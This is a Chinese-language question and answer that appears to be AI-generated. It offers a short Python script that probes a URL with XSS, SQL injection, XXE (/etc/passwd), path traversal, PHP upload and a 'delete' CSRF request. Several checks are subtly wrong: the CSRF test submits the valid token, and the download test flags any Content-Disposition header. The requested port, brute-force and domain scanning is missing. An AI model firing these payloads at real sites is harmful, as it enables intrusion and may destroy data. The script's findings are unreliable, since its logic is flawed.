Python实现web漏洞扫描功能，漏洞包括：xss漏洞、SQL注入、XXE漏洞、文件包含漏洞、文件上传漏洞、文件下载漏洞、CSRF漏洞等， 功能包括：基础的IP扫描、端口扫描、暴力破解、后台扫描、域名扫描等，每扫描出一个漏洞，输出漏洞信息

实现这样的功能需要使用一些第三方库和工具，比如：requests、BeautifulSoup、sqlmap、lxml、pycurl等。以下是一个简单的Python代码示例，可以实现基本的web漏洞扫描功能：

import requests
from bs4 import BeautifulSoup
import re

# 定义一个检查XSS漏洞的函数
def check_xss(url):
    payload = '<script>alert("XSS");</script>'
    r = requests.get(url + payload)
    if payload in r.text:
        print("[+] XSS Vulnerability Detected: " + url)

# 定义一个检查SQL注入漏洞的函数
def check_sql_injection(url):
    payload = "'"
    r = requests.get(url + payload)
    if "error in your SQL syntax" in r.text:
        print("[+] SQL Injection Vulnerability Detected: " + url)

# 定义一个检查XXE漏洞的函数
def check_xxe(url):
    payload = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY><!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
    r = requests.post(url, data=payload)
    if "root:" in r.text:
        print("[+] XXE Vulnerability Detected: " + url)

# 定义一个检查文件包含漏洞的函数
def check_file_inclusion(url):
    payload = "../../../../../../etc/passwd"
    r = requests.get(url + payload)
    if "root:" in r.text:
        print("[+] File Inclusion Vulnerability Detected: " + url)

# 定义一个检查文件上传漏洞的函数
def check_file_upload(url):
    files = {'file': open('test.php', 'rb')}
    r = requests.post(url, files=files)
    if "uploaded successfully" in r.text:
        print("[+] File Upload Vulnerability Detected: " + url)

# 定义一个检查文件下载漏洞的函数
def check_file_download(url):
    r = requests.get(url)
    filename = re.findall("filename=(.+)", r.headers['Content-Disposition'])[0]
    if len(filename) > 0:
        print("[+] File Download Vulnerability Detected: " + url)

# 定义一个检查CSRF漏洞的函数
def check_csrf(url):
    r = requests.get(url)
    soup = BeautifulSoup(r.text, 'lxml')
    csrf_token = soup.find('input', {'name': 'csrf_token'})['value']
    payload = {'csrf_token': csrf_token, 'action': 'delete'}
    r = requests.post(url, data=payload)
    if "deleted successfully" in r.text:
        print("[+] CSRF Vulnerability Detected: " + url)

# 定义一个扫描URL的函数，调用以上函数进行漏洞检测
def scan_url(url):
    check_xss(url)
    check_sql_injection(url)
    check_xxe(url)
    check_file_inclusion(url)
    check_file_upload(url)
    check_file_download(url)
    check_csrf(url)

# 测试
scan_url("http://example.com/index.php")

以上代码只是一个简单的示例，实际上要实现完整的web漏洞扫描功能需要考虑很多因素，比如：多线程扫描、自动化漏洞利用、漏洞报告生成等。因此，如果您需要进行严格的web漏洞扫描，请使用专业的web安全测试工具。